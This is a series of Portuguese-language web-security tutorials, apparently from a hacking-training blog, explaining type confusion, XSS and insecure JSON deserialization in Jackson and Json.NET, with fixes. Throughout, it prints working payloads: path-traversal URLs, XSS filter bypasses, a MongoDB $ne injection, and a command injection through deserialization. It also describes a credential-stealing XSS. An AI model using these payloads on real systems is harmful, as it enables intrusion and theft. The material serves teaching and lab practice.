Primeiro, faremos uma solicitação para acessar um arquivo válido dentro do diretório /files. Em seguida, vamos testar a aplicação com uma tentativa de Path Traversal para verificar como ela lida com essa entrada e se a proteção contra essa vulnerabilidade está funcionando corretamente.

Vamos tentar acessar um arquivo existente, por exemplo, document.txt, que está localizado dentro do diretório /files. A URL de solicitação seria:

http://localhost:3000/?file=document.txt

Agora, vamos testar a tentativa de Path Traversal usando o parâmetro file para acessar um diretório superior. Por exemplo:

http://localhost:3000/?file=../../etc/passwd

O Impacto do Type Confusion

Enquanto o método indexOf é usado para detectar tentativas básicas de Path Traversal, é importante notar uma limitação significativa relacionada ao Type Confusion. No código apresentado, não há uma verificação explícita do tipo do parâmetro file, o que pode levar a problemas se o tipo da entrada não for o esperado.

Comportamento do Método indexOf em Strings e Arrays

Existem alguns métodos integrados que são definidos tanto em String quanto em Array e que possuem o mesmo nome, como includes, indexOf, lastIndexOf, etc.

O método indexOf tem comportamentos distintos dependendo do tipo da variável com a qual é chamado. Em JavaScript:

• String.prototype.indexOf(): Quando o parâmetro file é uma string, indexOf("..") verifica a presença da substring ".." e retorna o índice da sua primeira ocorrência. Se não encontrado, retorna -1.
• Array.prototype.indexOf(): Se o parâmetro file fosse um array, o mesmo método indexOf verificaria se o elemento ".." está presente no array. Nesse caso, se o array contiver apenas um elemento, como ["../"], a função retornaria -1 se a substring não for encontrada como um item do array.

A ausência de uma verificação rigorosa do tipo do parâmetro file permite a manipulação da entrada de maneiras inesperadas. Por exemplo, se um array for passado em vez de uma string, o método indexOf não funcionará como esperado para detectar Path Traversal, o que pode permitir que o ataque seja bem-sucedido.

Conversão de Strings para Arrays

Uma maneira de passar arrays em parâmetros de consulta é através da conversão de strings para arrays. O pacote qs é amplamente utilizado para essa finalidade e é comum em frameworks como Express.js. Ele transforma uma string de consulta em um objeto JavaScript para facilitar a manipulação dos dados.

O qs analisa a string de consulta e interpreta o tipo de dados com base na estrutura dos parâmetros. Por exemplo:

• Parâmetros Múltiplos com o Mesmo Nome: Se uma string de consulta contiver múltiplas ocorrências do mesmo nome de parâmetro, o qs as tratará como um array. Por exemplo, a consulta ?file=value1&file=value2 será convertida em um array ["value1", "value2"].
• Parâmetros Declarados como Arrays: O qs também pode identificar parâmetros explicitamente declarados como arrays na string de consulta. Por exemplo, a consulta ?file[]=value1&file[]=value2 será interpretada como um array ["value1", "value2"].

Isso significa que podemos enviar um parâmetro como um array para explorar falhas na verificação de tipo e potencialmente contornar as medidas de segurança que dependem da manipulação de strings.

Agora que compreendemos como a manipulação de arrays em parâmetros de consulta pode contornar a verificação de tipo, vamos retornar à aplicação e testar essa vulnerabilidade na prática.

Utilizaremos um parâmetro de consulta formatado como um array para explorar a falha de Path Traversal e acessar o arquivo passwd :

http://127.0.0.1:3000/?file[]=../../../../etc/passwd

Do Type Confusion ao Cross-site Scripting (XSS): Uma Perspectiva Ampliada

Após explorar o impacto do Type Confusion na vulnerabilidade de Path Traversal, é crucial expandir nossa compreensão para outras formas de falhas de segurança na web.

O Type Confusion pode ter implicações mais amplas do que inicialmente aparenta. Por exemplo, quando o tipo de dado não é devidamente verificado, outras vulnerabilidades, como Cross-site Scripting (XSS), podem ser facilitadas ou exploradas de maneiras inesperadas.

O Caso do CVE-2021-23443

Um exemplo concreto é o CVE-2021-23443, uma vulnerabilidade significativa identificada na biblioteca edge.js. Essa falha envolve XSS, permitindo que um atacante injete e execute scripts maliciosos no navegador dos usuários.

Vamos analisar como essa vulnerabilidade foi explorada em versões anteriores à 5.3.2 e as implicações que ela teve para a segurança das aplicações que utilizavam essa biblioteca. Embora essa falha tenha sido corrigida nas versões posteriores, ela serve como um exemplo importante da necessidade de verificação robusta de tipos e outras práticas de segurança para proteger aplicações web contra uma variedade de ameaças.

No exemplo de código abaixo, apresentamos uma aplicação básica em Node.js que simula uma loja de produtos. A aplicação utiliza o framework Express para gerenciar rotas e servir conteúdo estático, enquanto o edge.js é empregado para renderizar páginas dinâmicas. O código inclui um campo de pesquisa onde os usuários podem pesquisar por produtos.

Vamos simular uma busca por produtos utilizando a aplicação. Podemos fazer uma requisição para procurar por um produto específico, como "pants", utilizando o seguinte formato de URL:

http://localhost:3000/?search=pants

Agora, vamos observar como a aplicação se comporta ao inserirmos uma payload de XSS. Suponha que um usuário mal-intencionado tente explorar a aplicação ao passar a seguinte payload no campo de pesquisa:

http://localhost:3000/?search=<script>alert('XSS')</script>

Ao inserir a payload de XSS, notamos que nenhum alerta foi exibido na tela. Em vez disso, o código JavaScript injetado foi exibido como texto literal. Ao analisar o código HTML da página, vemos que a aplicação fez a codificação dos caracteres especiais, transformando a payload em:

<script>alert('XSS')</script>

Essa transformação para entidades HTML (como <, > e ') impede que o conteúdo seja interpretado como código executável pelo navegador. O HTML encoding garante que a entrada do usuário seja tratada como texto comum, protegendo a aplicação contra ataques de XSS ao evitar a execução de scripts maliciosos.

A Função escape(): A Cúmplice Inesperada na Vulnerabilidade de Type Confusion

Agora, vamos dar uma olhada na função escape() da biblioteca edge.js, uma peça fundamental para escapar caracteres especiais em “strings” e evitar injeções de código. É quase irônico como algo projetado para proteger a aplicação pode se tornar um problema de segurança quando não se faz uma verificação adequada do tipo de entrada.

A função escape() mostrada na imagem acima é projetada para escapar caracteres especiais em strings, ajudando a prevenir injeções de código . Ela faz isso apenas se a entrada for uma string, usando helpers_1.string.escapeHTML(input). Se a entrada não for uma string, a função verifica se é uma instância de SafeValue e retorna seu valor. Caso contrário, retorna a entrada original sem modificações.

O problema surge quando um tipo de dado inesperado, como um array, é passado para a função. Nesse caso, a função escape() não realiza o escape de caracteres especiais, retornando a entrada original sem a devida sanitização.

Sabendo disso, podemos explorar a vulnerabilidade enviando um array como entrada:

http://localhost:3000/?search[]=<script>alert('XSS')</script>

Prevenindo ataques de NoSQL injection?

Enquanto navegava pela internet, encontrei um código que parecia prometer proteção automática contra injeções. A imagem que acompanhei dizia: “Ao utilizar um ODM ou ORM, você se beneficia automaticamente de proteções integradas contra injeção NoSQL, reduzindo o risco de vulnerabilidades em seu código.”

O código que ilustra essa “proteção” é o seguinte:

// Mongoose example with validation and sanitization
const userSchema = new mongoose.Schema({
  name: { type: String, required: true },
  age: { type: Number, min: 0, max: 150 },
});
const UserModel = mongoose.model('User', userSchema);

const name = req.body.name; // User input
const query = UserModel.find({ name: name });

query.exec((err, result) => {
  // Handle the result
});

Embora o código acima utilize um ODM como o Mongoose, ele ainda pode ser vulnerável a ataques se não houver uma verificação rigorosa dos tipos de dados. Vamos explorar como essas proteções podem ser contornadas e como os ataques de NoSQL injection podem ser facilitados por falhas de Type Confusion.

O código abaixo foi adaptado a partir do exemplo acima que prometia proteção automática contra injeções NoSQL:

Após iniciar a aplicação, podemos realizar uma requisição POST ao endpoint /users, fornecendo o valor "Frank" para o parâmetro name a fim de buscar um usuário específico.

Até aqui, tudo parece estar funcionando conforme o esperado. No entanto, é exatamente aqui que surge a vulnerabilidade de Type Confusion. Ao analisarmos o código, notamos que não há nenhuma verificação do tipo da variável name, como mostrado neste trecho:

Sem a devida verificação do tipo de entrada, a aplicação pode ser vulnerável a ataques, como injeções NoSQL, aproveitando-se da falta de controle sobre o tipo de dado recebido.

Se olharmos a documentação do MongoDB, veremos que ela fornece diversos operadores que podem ser utilizados em consultas. Um desses operadores é o $ne, que é utilizado para buscar documentos onde o valor de um campo não é igual a um valor especificado.

Após revisar a documentação do operador $ne, podemos ver como ele pode ser usado para explorar a vulnerabilidade de NoSQL injection associada à falta de validação rigorosa de tipos, especificamente o Type Confusion.

Neste contexto, podemos empregar a seguinte payload:

{"name": {"$ne": null}}

Quando essa payload é enviada, o operador $ne instrui o MongoDB a retornar todos os documentos onde o campo name é diferente de null. Devido à ausência de validação do tipo da variável name no código, a aplicação não está configurada para tratar adequadamente esse tipo de consulta. Isso leva à recuperação de todos os usuários, conforme ilustrado na imagem abaixo:

Mitigando o Type Confusion

Para mitigar eficazmente vulnerabilidades de Type Confusion, é essencial adotar uma abordagem rigorosa de validação de tipos no código. Isso envolve a verificação explícita do tipo de uma variável antes de realizar operações que dependam de tipos específicos. O uso do operador typeof em JavaScript é uma prática útil para garantir que as variáveis sejam do tipo esperado.

Além disso, a utilização de linguagens com tipagem estática, como TypeScript, pode ajudar significativamente a prevenir problemas relacionados a type confusion. TypeScript oferece uma verificação de tipos em tempo de compilação, o que reduz a probabilidade de erros de tipo em tempo de execução e fortalece a robustez do código.

Outra recomendação é o uso de bibliotecas de validação de dados, como o Zod. O Zod permite definir tipos de dados de forma clara e concisa, garantindo que apenas dados válidos sejam aceitos. Isso contribui para a segurança do código, minimizando o risco de processamento inadequado de dados e fortalecendo a proteção contra vulnerabilidades.

Exemplo de Mitigação no Código da Biblioteca edge.js

Para ilustrar a aplicação das técnicas de mitigação discutidas, vamos analisar uma correção implementada na função escape() da biblioteca edge.js.

A mitigação foi implementada com a seguinte alteração no código:

export function escape(input: any): string {
    return input instanceof SafeValue ? input.value : string.escapeHTML(String(input));
}

Nesta versão corrigida, a função escape foi ajustada para sempre converter input para uma string antes de aplicar escapeHTML. A verificação instanceof SafeValue assegura que, se input for uma instância de SafeValue, seu valor será utilizado diretamente. Caso contrário, qualquer entrada é convertida para string e sanitizada. Isso garante que a função lida corretamente com entradas de tipos variados e evita a vulnerabilidade de Type Confusion.

Em resumo, a exploração de vulnerabilidades como Type Confusion ressalta a importância crucial de validar e sanitizar dados em qualquer aplicação. Garantir que o código seja robusto e seguro exige uma combinação de boas práticas, como verificação de tipos, uso de linguagens com tipagem estática e implementação de bibliotecas de validação confiáveis.

Os exemplos discutidos ao longo deste artigo demonstram como falhas simples podem levar a brechas significativas, e como abordagens de mitigação eficazes podem fortalecer a segurança do sistema. Como citado no início do artigo, o impacto dessa vulnerabilidade pode variar dependendo do contexto da aplicação.

E é importante lembrar: a segurança não é apenas uma etapa no desenvolvimento, mas um processo contínuo que deve ser integrado a todas as fases do ciclo de vida do software.

Onde Praticar Type Confusion?

Atualmente, o Hacking Club oferece diversos CTFs que exploram a vulnerabilidade de Type Confusion em vários contextos diferentes. A plataforma é ideal para quem deseja aprender hacking de forma prática e aprofundada.

Temos mais de 200 ambientes com vulnerabilidades reais e write-ups detalhados para treinamento. Além disso, disponibilizamos laboratórios específicos e várias aulas adicionais sobre Type Confusion para um aprendizado mais completo.

Semanalmente, lançamos máquinas gratuitas para você praticar e desafiar suas habilidades em hacking!

Referências:

JavaScript type confusion: Bypassed input validation (and how to remediate) | Snyk

Learn about type confusions scenarios where input sanitisation and validation can be bypassed by providing an unexpected input type, with remediation advice.

Snyk

JavaScript Guide - JavaScript | MDN

The JavaScript Guide shows you how to use JavaScript and gives an overview of the language. If you need exhaustive information about a language feature, have a look at the JavaScript reference.

MDN Web Docs

Operators

Contains links to MongoDB query and aggregation operators.

MongoDB Manual v7.0

Cross-Site Scripting (XSS) é uma das vulnerabilidades mais exploradas em Web Hacking, testes de intrusão e desafios de CTF (Capture The Flag) voltados para Cyber Security.

Presente em aplicações modernas de diferentes portes, o XSS pode variar de impactos simples, como defacement de páginas, até cenários extremamente críticos envolvendo roubo de sessão, exfiltração de dados sensíveis e até mesmo um Account Takeover, tornando-se uma das classes de vulnerabilidades mais relevantes para profissionais de segurança ofensiva e desenvolvedores.

O que é Cross-site Scripting (XSS)?

O XSS é uma vulnerabilidade que permite que atacantes injetem scripts maliciosos em aplicações web legítimas, comprometendo a segurança de usuários e sistemas. O fator que leva a aplicação ficar vulnerável a esse tipo de ataque é: Falta de sanitização dos dados inseridos pelo usuário.

Quando a aplicação não faz a devida sanitização dos dados inseridos pelo usuário e reflete esses dados de maneira "insegura" na página, um usuário pode injetar tanto tags HTML quanto códigos JavaScript, assim sendo possível alterar o comportamento da página.

Tipos conhecidos de XSS

• XSS Reflected: Ocorre quando a resposta da requisição HTTP retorna uma página HTML com o input malicioso inserido pelo atacante no conteúdo dela.
• XSS DOM-Based: Ocorre quando um código JavaScript obtém dados controlados pelo usuário e os reflete na página utilizando uma função insegura, como "document.write()".
• XSS Stored: Ocorre quando a aplicação está vulnerável a XSS (seja Reflected ou DOM-Based) e armazena o input do usuário na página, tornando possível armazenar uma payload de XSS em uma página legítima.
• XSS Blind: Ocorre quando a aplicação está vulnerável a XSS Stored e a payload inserida pelo atacante é armazenada em uma página à qual ele não tem acesso, tornando o ataque do tipo "blind".

Explorando XSS na prática

Aqui vamos explorar todos os tipos de XSS mencionados na seção acima, exceto o XSS Blind, pois segue o mesmo conceito do XSS Stored.

XSS Reflected

Como vimos anteriormente, esse tipo de XSS ocorre quando a aplicação retorna uma página HTML com o input malicioso contido no conteúdo dela.

Veja um exemplo de um código PHP vulnerável a XSS Reflected:

Vemos que a aplicação recebe o parâmetro "name" na URL, e o reflete na página HTML sem fazer nenhuma sanitização. Isso possibilita com que um atacante injete novas tags e scripts na página através do parâmetro.

Enviando um nome no parâmetro "name", vemos que o mesmo é refletido:

Enviando uma tag HTML, vemos que ela é interpretada pelo browser:

Além da possibilidade de injetarmos tags HTML na página, conseguimos executar códigos JavaScript:

Vemos que a exploração da vulnerabilidade é extremamente simples. Em alguns casos, os parâmetros da aplicação são filtrados, dificultando a exploração. Porém, muitas vezes, ainda é possível executar códigos JavaScript por meio de técnicas para burlar esses filtros.

Abaixo, vemos um código PHP que filtra o conteúdo do parâmetro "name", assim dificultando (porém não impossibilitando, pois o mesmo é inseguro) a execução de código JavaScript na página:

Se enviarmos um código JavaScript no parâmetro "name", vemos que a aplicação identifica o ataque:

Porém, podemos utilizar outras tags para chegar a execução de código JavaScript. Veja alguns exemplos de payloads abaixo:

<img src=x onerror="console.log('pwned')">

Essa payload consiste em: carregar uma imagem inexistente, e utilizar a propriedade "onerror" para fazer a execução de um código JavaScript

<svg onload="console.log('pwned')">

Essa payload consiste em: utilizar a propriedade "onload" da tag "svg" para fazer a execução de um código JavaScript

<video src=x onerror="console.log('pwned')">

Essa payload consiste em: carregar um vídeo inexistente, e utilizar a propriedade "onerror" para fazer a execução de um código JavaScript

Existem centenas de payloads que podem ser utilizadas para burlar filtros mal implementados. Algumas delas são encontradas em repositórios do github, como este:

GitHub - payloadbox/xss-payload-list: 🎯 Cross Site Scripting ( XSS ) Vulnerability Payload List

🎯 Cross Site Scripting ( XSS ) Vulnerability Payload List - payloadbox/xss-payload-list

GitHubpayloadbox

Em alguns casos, precisamos fazer uma análise do filtro implementado na aplicação, e criarmos uma payload customizada para fazer o bypass dela.

Veja o exemplo abaixo:

O código está fazendo replace da string "<script>" por uma string nula, ou seja, está removendo a tag do input do usuário.

Vemos que enviando uma payload de XSS comum, a aplicação faz a devida sanitização:

Porém, o filtro implementado não é seguro, pois podemos confundir a lógica da função de replace para burlarmos o filtro.

Enviando a seguinte payload, conseguimos executar um código JavaScript na página:

<scr<script>ipt>console.log('pwned')</script>

Veja que quando a função de replace for executada, ela vai removar a tag "<script>", e quando isso ocorrer, a string resultante será: <script>console.log('pwned')</script>.

Agora que conhecemos o básico, podemos estudar os outros tipos, como DOM-Based, Stored e Blind XSS.

XSS DOM-Based

Como dito anteriormente, o XSS DOM-Based ocorre quando um código JavaScript da página reflete um conteúdo controlado por um usuário de maneira insegura, e sem fazer sanitização.

Veja um exemplo de código vulnerável abaixo:

O código obtém o conteúdo do input "name", e o reflete na página utilizando a função "document.write()". Isso nos possibilita injetar tags e códigos JavaScript.

Enviando um input comum:

Enviando uma payload de XSS utilizando a tag "<script>":

Além da função "document.write()", existem diversas funções que também são inseguras para refletir dados inseridos por usuários. Algumas são:

• document.write()
• document.writeln()
• document.domain
• element.innerHTML
• element.outerHTML
• element.insertAdjacentHTML
• element.onevent

Veja um exemplo de código vulnerável que utiliza "innerHTML":

Enviando payload de XSS:

Observação: Em alguns casos de uso, como "innerHTML", "outerHTML" e outras funções, a tag "<script>" não é interpretada, porém ainda podemos fazer a utilização de outras tags em conjunto com as propriedades "onerror", "onhover", entre outras.

XSS Stored

Casos em que o input do usuário fica armazenado na aplicação, e a mesma reflete-os de maneira insegura e sem fazer a devida sanitização, podemos classificar o XSS como Stored. Existem dois tipos de "XSS Stored":

• XSS Stored - Reflected: Ocorre quando a aplicação está vulnerável a XSS Reflected, porém, faz a persistência dos dados.
• XSS Stored - DOM-Based: Ocorre quando a aplicação está vulnerável a XSS DOM-Based, porém, faz a persistência dos dados.

Vemos que a aplicação da imagem abaixo, faz a persistência dos comentários na página, o que a torna vulnerável a XSS Stored:

Analisando o código JavaScript da página, vemos que o mesmo utiliza a função "innerHTML" para inserir os comentários na página, e além disso, não faz nenhuma sanitização nos dados:

Enviando um comentário com a payload abaixo, conseguimos executar código JavaScript na página:

<img src=x onerror="console.log('pwned')">

Nesse cenários, nos encontramos um XSS Stored - DOM-Based, pois utiliza funções "inseguras" do DOM para refletir os dados.

Causando impactos significativos com XSS

Até nesse momento, vimos exemplos de explorações simples de XSS, porém, com a execução de códigos JavaScript na página, podemos fazer centenas de coisas maliciosas. Algumas delas são:

• Criar novos campos na página para campanhas de phishing
• Roubar sessões do navegador da vítima
• Controlar o console do navegador da vítima
• Redirecionar a vítima para um site malicioso

Veja o código da imagem abaixo:

Vemos que o código cria dois prompts para obter as credenciais do usuário, e depois faz uma requisição para o servidor do atacante (nesse caso, foi para localhost:8000), enviando as mesmas no parâmetro "data".

Utilizamos o cyberchef para fazer o base64 encoding desse código, assim não teremos problema de sintaxe ao enviar o código em uma payload de XSS.

Para executarmos o código, podemos fazer a seguinte payload:

<img src=x onerror="eval(atob('BASE64 HERE'))">

Recarregando a página, vemos os seguintes prompts em nossa tela:

Ao enviar as informações, recebemos as mesmas em nosso servidor que está sendo executado na porta 8000:

Corrigindo o XSS

Para corrigir o XSS, podemos utilizar bibliotecas de sanitização, como DomPurify, ou podemos fazer o HTML Encoding dos dados, assim, impossibilitando com que o browser interprete as tags maliciosas inseridas pelo atacante.

Veja abaixo um exemplo de código utilizando a função de HTML Encoding (utilizada na linha 8):

Enviando uma payload de XSS no parâmetro "name", vemos que a mesma não é interpretada pelo navegador:

Referências

Cross Site Scripting (XSS) | OWASP Foundation

Cross Site Scripting (XSS) on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.

OWASP logo

Cross-site scripting (XSS)

Cross-site scripting (XSS) is a web security vulnerability that enables an attacker to manipulate a vulnerable web site so that it returns malicious…

PortSwigger

blog/chall-xss-basic at main · crowsec-edtech/blog

Repository for labs of the crowsec blog. Contribute to crowsec-edtech/blog development by creating an account on GitHub.

GitHubcrowsec-edtech

Onde praticar Cross-site Scripting ?

Atualmente o hackingclub possuí diversos labs em que podem ser explorados Cross-site Scripting (XSS), em diversos contextos e linguagens diferentes.

O Hacking Club é uma plataforma de treinamento em cybersecurity, que permite você aprender hacking de forma totalmente prática.

Temos mais de 200 ambientes com vulnerabilidades reais com write-ups para você treinar e aprender hacking.

Semanalmente lançamos máquinas gratuitas para você praticar e se desafiar no hacking!

Se registre gratuitamente!

A desserialização insegura é uma vulnerabilidade crítica explorada em cenários de Cyber Security, pentests e desafios de CTF (Capture The Flag), permitindo que atacantes manipulem dados serializados para executar código malicioso ou comprometer aplicações. Neste artigo, você entenderá os conceitos de serialização e desserialização e aprenderá como essa falha pode ser explorada na biblioteca Jackson Databind, amplamente utilizada no ecossistema Java.

O que é Jackson databind?

O Jackson Databind é um dos componentes mais populares para processamento de JSON em aplicações Java modernas, sendo amplamente adotado por frameworks como o Spring Boot. Essa biblioteca permite converter objetos Java em JSON e transformar estruturas JSON em objetos da aplicação — um recurso essencial para APIs REST. No entanto, quando configurada de forma inadequada, pode abrir portas para ataques de desserialização que afetam diretamente a segurança da aplicação.

Serialização com Jackson databind

Veja na imagem abaixo um código Java exemplificando como serializamos um Objeto do nosso código em um JSON utilizando o Jackson databind:

Esse treicho de código resulta em um JSON com as propriedades do objeto User:

Caso não esteja claro, a serialização é a nomeclatura que damos ao processo de transformar um objeto (dado binário) em uma string (dado ascii).

Código completo da rota:

Desserialização com Jackson databind

Veja na imagem abaixo um código Java exemplificando como desserializamos um JSON e transformamos o mesmo em um Objeto do nosso código utilizando o Jackson databind:

Esse treicho de código retorna o valor da propriedade "name" do Objeto "User":

Código completo da rota:

Detalhe importante: Na imagem abaixo, contém o código responsável pela declaração da variável "this.objectMapper":

A brecha do Jackson databind

No Jackson databind, existe uma função chamada "enableDefaultTyping", essa função coloca "tipagem" no JSON serializado/desserializado.

A imagem abaixo mostra um treicho de código que utiliza essa função na instância do "ObjectMapper":

Com essa opção habilitada, vemos que o nome do objeto é incluido em alguns JSONs. Exemplo na imagem abaixo:

Da mesma maneira que o objeto serializado tem tipagem, também podemos colocar tipagem JSON, assim quando a aplicação for fazer a desserialização do mesmo, ela vai seguir a tipagem especificada no mesmo. Com isso, temos a possibilidade de controlar propriedades, getters e setters de outros objetos da aplicação.

Conhecendo as classes do código

Na imagem abaixo, vemos uma classe que é responsável pelo carrinho de compras do usuário:

A propriedade "itens", recebe um array de strings, e a propriedade "user" recebe um Objeto (pelo fato de estar tipado como "Object", podemos especificar qualquer objeto da aplicação nessa propriedade).

Na imagem abaixo, vemos outra classe que é responsável pelo sistema de Logs da aplicação:

A propriedade "name" e "path" recebe uma string, porém o Setter configurado para a propriedade "path", seta o seu valor como "o setter foi chamado".

Nosso objetivo é: Controlar propriedades da classe "Log" através da desserialização do objeto "Cart".

Explorando desserialização insegura no Jackson databind

Vemos que o código da imagem abaixo recebe um JSON do Request Body, e faz a desserialização do mesmo:

Na linha onde ocorre a desserialização, o objeto "Cart" foi especificado como tipagem para o JSON, ou seja, precisamos enviar um JSON correspondente ao objeto "Cart".

Enviando JSON (objeto "Cart" serializado):

{
    "itens": [
        "abacate",
        "abacaxi"
    ],
    "user": [
        "com.example.demo.models.User",
        {
            "name": "John Doe",
            "password": "password123"
        }
    ]
}

Na propriedade "user", foi necessário especificar o path da classe "User", pois como visto anteriormente, a propriedade foi tipada como "Object", assim o código não consegue identificar qual objeto foi especificado na mesma, sendo assim, necessário especificar o path do objeto dentro do JSON (Isso só é possível pelo fato de que o enableDefaultTyping() foi utilizado).

Com o poder de especificarmos o tipo do objeto na propriedade "user", podemos especificar o objeto "Log", assim sendo possível manipular o valor de suas propriedades e acessar os getters e setters da mesma:

{
    "itens": [
        "abacate",
        "abacaxi"
    ],
    "user": [
        "com.example.demo.models.Log",
        {
            "name": "nome do log",
            "path": "/tmp/example.log"
        }
    ]
}

Vemos que o setter da propriedade "path" foi chamado.

Com o poder de acessarmos getters e setters de objetos arbitrários do código, temos a possibilidade de obtermos File Read, File Write ou até mesmo um RCE.

Veja na imagem abaixo um código que poderiamos explorar para obtermos RCE:

Vemos que o setter da propriedade "path" executa um comando no sistema e concatena o valor inserido na mesma dentro do comando executado. Com isso, podemos explorar um command injection através da desserialização.

Enviando um JSON que chama o objeto "Log" na propriedade "user", conseguimos criar um arquivo de log em nosso sistema manipulando as propriedades "name" e "path":

{
    "itens": [
        "abacate",
        "abacaxi"
    ],
    "user": [
        "com.example.demo.models.Log",
        {
            "name": "example.log",
            "path": "/tmp"
        }
    ]
}

Listando o diretório "/tmp", vemos que o arquivo realmente foi criado:

Porém, como dito anteriormente, podemos obter um RCE explorando um command injection através da desserialização. Para isso, podemos utilizar o ";" na propriedade "path" ou na propriedade "name":

{
    "itens": [
        "abacate",
        "abacaxi"
    ],
    "user": [
        "com.example.demo.models.Log",
        {
            "name": "example.log; id > /tmp/example.log",
            "path": "/tmp"
        }
    ]
}

Listando e lendo o arquivo "/tmp/example.log", conseguimos obter o output do comando "id":

Corrigindo a desserialização insegura no Jackson databind

Nunca devemos utilizar a função "enableDefaultTyping()", pois ela permite com que o usuário controle a tipagem de objetos setados nas propriedades do JSON, e isso pode permitir com que ele acesse outros objetos do código, como vimos anteriormente.

Uma outra recomendação é sempre utilizarmos a tipagem correta para as propriedades das classes definidas no código. Como vimos anteriormente, a propriedade "user" da classe "Cart", foi tipada como "Object", ou seja, podemos especificar qualquer objeto da aplicação na mesma. Se tiparmos a propriedade com o objeto "User", não conseguimos mais manipular o seu tipo no JSON, mesmo que o "enableDefaultTyping()" esteja sendo utilizado.

A imagem abaixo mostra como ficaria o código com o patch aplicado:

Após o patch, se tentarmos especificar um tipo na propriedade "user", recebemos uma mensagem de erro:

Espero que tenham gostado! Nos vemos na próxima missão de web exploitation!
SmF2YSBpbnNlY3VyZSBkZXNzZXJpYWxpemF0aW9uIGlzIHRoZSBuZXh0IG1pc3Npb24u

Referências

Java JSON deserialization problems with the Jackson ObjectMapper | Snyk

Learn how Jackson ObjectMapper deserialization vulnerabilities work and how to make sure you are not affected by them.

Snyk

GitHub - Ingenuity-Fainting-Goats/CVE-2017-7525-Jackson-Deserialization-Lab: Insecure Java Deserialization Lab

Insecure Java Deserialization Lab. Contribute to Ingenuity-Fainting-Goats/CVE-2017-7525-Jackson-Deserialization-Lab development by creating an account on GitHub.

GitHubIngenuity-Fainting-Goats

Onde praticar desserialização insegura ?

Atualmente o hackingclub possuí diversos CTFs em que podem ser explorados desserialização insegura, em diversos contextos e linguagens diferentes.

O Hacking Club é uma plataforma de treinamento em cybersecurity, que permite você aprender hacking de forma totalmente prática.

Temos mais de 150 ambientes com vulnerabilidades reais com write-ups para você treinar e aprender hacking.

Semanalmente lançamos máquinas gratuitas para você praticar e se desafiar no hacking!

A desserialização insegura é uma vulnerabilidade crítica frequentemente explorada em pentests, pesquisas de Cyber Security e desafios de CTF (Capture The Flag), permitindo que atacantes manipulem objetos serializados para comprometer aplicações e executar código malicioso. Neste artigo, analisaremos como essa falha pode ser explorada em aplicações que utilizam o ASP.NET Core, um dos frameworks mais populares para desenvolvimento de aplicações web modernas no ecossistema .NET.

O que é .NET Core e ASP.NET Core?

Antes de aprofundarmos na exploração prática, é fundamental entender os papéis do .NET Core e do ASP.NET Core dentro da arquitetura de aplicações web. Desenvolvido pela Microsoft, o .NET é uma plataforma multiplataforma compatível com Windows, Linux e macOS, oferecendo suporte a linguagens como C#, F# e VB.NET. Já o ASP.NET e sua versão moderna, ASP.NET Core, são frameworks voltados para o desenvolvimento de APIs e aplicações web de alto desempenho — amplamente utilizados em ambientes corporativos.

O que é desserialização insegura?

A desserialização insegura é uma vulnerabilidade que permite com que o atacante controle objetos que estão sendo desserializados pela aplicação. Os riscos associados a essa falha de segurança variam desde simples ataques de negação de serviço (DoS) até a execução remota de código (RCE) no servidor-alvo.

Explorando desserialização insegura

No processo de explorar a desserialização insegura, é importante mencionar uma biblioteca amplamente empregada em aplicações ASP.NET: o "Newtonsoft Json.NET." Essa biblioteca desempenha um papel significativo na manipulação de dados em formato JSON. Vamos examinar como ocorre a serialização e desserialização de dados utilizando essa biblioteca.

Entendendo a serialização

Para realizar a serialização de objetos e convertê-los em formato JSON por meio do Newtonsoft Json.NET, empregamos o método "SerializeObject," conforme ilustrado no exemplo a seguir:

User newUser = new User { Name = "Jhon", Email = "jhondoe@mail.com", Age = 20 };

string json = JsonConvert.SerializeObject(newUser);

Console.WriteLine(json);

O output dessa serialização seria:

{"Name": "Jhon", "Email": "jhondoe@mail.com", "Age": 20}

Entendendo a desserialização

Para realizar a desserialização do JSON, empregamos o método DeserializeObject<Object>. A seguir, apresentamos um exemplo:

Classe User:

public class User
{
	public string Name { get; set; }
	public string Email { get; set; }
	public int Age { get; set; }
}

Json:

{"Name": "Jhon", "Email": "jhondoe@mail.com", "Age": 20}

AIMPORTANTE: Ao realizar a desserialização do objeto, precisamos especificar o tipo do objeto.

string jsonInput = "{\"Name\": \"Jhon\", \"Email\": \"jhondoe@mail.com\", \"Age\": 20}";

User newUser = JsonConvert.DeserializeObject<User>(jsonInput);

Console.WriteLine($"Name: {newUser.Name}");

Observa-se que o tipo do objeto foi especificado em "DeserializeObject<User>".

TypeNameHandling e seus problemas de segurança

O TypeNameHandling é uma opção que podemos configurar no Newtonsoft Json.NET. Com essa opção habilitada, os objetos serializados possuem o campo "$type", que revela o tipo do objeto. Durante a desserialização desses dados, não é necessário especificar manualmente o tipo de objeto, pois o campo "$type" já indica para o Newtonsoft Json.NET qual é o tipo do objeto.

Exemplo de serialização com TypeNameHandling

User newUser = new User { Name = "Jhon", Email = "jhondoe@mail.com", Age = 20 };

JsonSerializerSettings settings = new JsonSerializerSettings
{
	TypeNameHandling = TypeNameHandling.All
};

string json = JsonConvert.SerializeObject(newUser, settings);
Console.WriteLine(json);

O json gerado pela serialização seria parecido com o abaixo:

{
    "$type": "Namespace.User, AssemblyAppName",
    "Name": "Jhon",
    "Email": "jhondoe@mail.com"
    "Age": 20
}

Exemplo de desserialização com TypeNameHandling

string jsonInput = "{\"$type\": \"Namespace.User, AssemblyAppName\", \"Name\": \"Jhon\", \"Email\": \"jhondoe@mail.com\", \"Age\": 20}";

JsonSerializerSettings settings = new JsonSerializerSettings
{
	TypeNameHandling = TypeNameHandling.All
};

User newUser = JsonConvert.DeserializeObject(jsonInput);

Console.WriteLine($"Name: {newUser.Name}");

Perceba que agora não necessita especificar o tipo de objeto na desserialização, pois o Newtonsoft Json.NET irá obter o tipo no campo "$type".

Problemas de segurança

Conforme mencionado anteriormente, o campo "$type" no json especifica o tipo do objeto que foi serializado. Dessa forma, o objeto indicado nesse campo será chamado no processo de desserialização. Agora, considere a seguinte situação: um usuário mal intencionado modifica o Json especificando outro objeto da aplicação no campo "$type". Isso permitiria a esse usuário acessar e modificar propriedades de outros objetos da aplicação.

Exemplo de ataque

Ao analisar o código fonte da aplicação, vemos que o TypeNameHandling foi configurado globalmente:

Ao examinar a Controller "ExampleController", vemos que a rota "/api/example" no método GET retorna um objeto do tipo "UserModel", e no método POST é esperado um Json com o objectType "UserModel":

Enviando uma requisição GET para "/api/example":

{
    "$type":"UserModel, Example",
    "name":"tris0n",
